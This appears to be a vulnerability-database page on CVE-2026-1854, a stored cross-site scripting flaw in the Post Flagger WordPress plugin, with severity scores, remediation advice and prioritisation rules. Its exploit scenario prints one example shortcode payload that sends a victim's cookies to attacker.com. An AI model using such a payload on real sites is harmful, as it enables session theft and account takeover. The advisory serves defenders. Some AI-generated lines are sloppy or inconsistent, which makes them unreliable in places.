Skip to main content

Post Flagger CVE-2026-1854

| EUVDEUVD-2026-14005 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-03-21 Wordfence GHSA-qgp7-6qw9-gvc2
6.4
CVSS 3.1 · NVD
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

The CVSS v3.1 vector (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N) indicates Network-accessible, Low attack complexity, Low privileges required (contributor role), No user interaction required, and Changed scope with Low confidentiality and integrity impact. While the CVSS score of 6.4 is classified as Medium, the real-world risk is elevated by several factors: (1) the vulnerability requires only contributor-level WordPress authentication, a common role for bloggers and content editors; (2) the attack requires no user interaction beyond the attacker crafting a malicious post; (3) stored XSS affects all users who view the injected page, including administrators, making it suitable for privilege escalation or account takeover; (4) the vulnerability is straightforward to exploit and does not require complex bypasses. However, mitigation is simple (plugin update), and the vulnerability does not impact confidentiality or availability severely. No KEV status or EPSS data is explicitly provided, but the automation potential is high and the technical impact is substantial for integrity (unauthorized script injection). This should be prioritized for patching in WordPress environments, particularly those allowing contributor-level users.

Exploit ScenarioDerived

A disgruntled contributor with legitimate WordPress login credentials creates a new post or page and embeds a malicious 'flag' shortcode with a JavaScript payload in its attributes, for example: [flag id='1' onclick='fetch(attacker.com/steal?cookie='+document.cookie+')']. When an administrator or other users view this post, the injected script executes in their browser context, potentially stealing session cookies, capturing credentials, or redirecting them to phishing pages. Because the attack vector is Network-based with Low complexity and no user interaction required on the victim's part, exploitation is trivial for any contributor-level attacker.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 21, 2026

A Stored Cross-Site Scripting (XSS) vulnerability exists in the Post Flagger WordPress plugin for all versions up to and including 1.1, caused by insufficient input sanitization and output escaping in the 'flag' shortcode's user-supplied attributes. Authenticated attackers with contributor-level access or higher can inject arbitrary JavaScript code into pages, which executes for all users who view those pages. This vulnerability has a CVSS score of 6.4 (Medium) and is confirmed in the WordPress plugin repository; no evidence of active exploitation or public proof-of-concept is currently documented, but the straightforward nature of the vulnerability suggests exploitation potential.

RemediationAI

Update the Post Flagger plugin to a patched version immediately; check https://wordpress.org/plugins/post-flagger/ and https://plugins.trac.wordpress.org/browser/post-flagger/ for the latest available version (expected to be version 1.2 or higher). If an update is not yet available, consider deactivating and removing the plugin until a patch is released. For WordPress administrators unable to patch immediately, enforce contributor-level content review by restricting the 'flag' shortcode to administrator-only usage via code filters, or implement a Web Application Firewall (WAF) rule to block script tags in post content. Additionally, audit existing posts created by contributor-level users for malicious shortcode attributes and remove any suspicious entries.

Affected VersionsENISA

Post Flagger * ≤1.1

Affected Packages

euvd post_flagger no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The Post Flagger plugin (CPE: cpe:2.3:a:nosoycesaros:post_flagger:*:*:*:*:*:*:*:*) is a WordPress extension that provides a shortcode mechanism for flagging content. The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation, also known as Cross-Site Scripting). The root cause lies in the plugin's 'flag' shortcode handler, specifically around line 66 of post-flagger.php (as referenced in the WordPress plugin repository), where shortcode attributes are processed without proper sanitization via WordPress escaping functions such as wp_kses_post() or esc_attr(). When shortcode attributes are rendered into page output, unsanitized user input passes directly into the HTML context, allowing attackers to inject script tags or event handlers that bypass WordPress's default security filters.

Know when Post Flagger gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 6.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The Post Flagger plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'flag' shortcode in all versions up to, and including, 1.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

Executive ViewAI

Why It Matters

Organizations using all should be aware of moderate risk from CVE-2026-1854, a cross-site scripting vulnerability rated CVSS 6.4. Attackers could inject scripts to steal sessions or perform actions as authenticated users. Organizations should apply vendor updates when available and monitor for exploitation.

Business Impact: Low
Compensating Controls

Apply vendor patch. If patching is delayed: implement CSP headers, enable HttpOnly cookies, deploy WAF XSS rules.

Threat Intelligence Overview

EPSS Score
0.0%
Top 91% exploitable
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Defer
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
Low
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy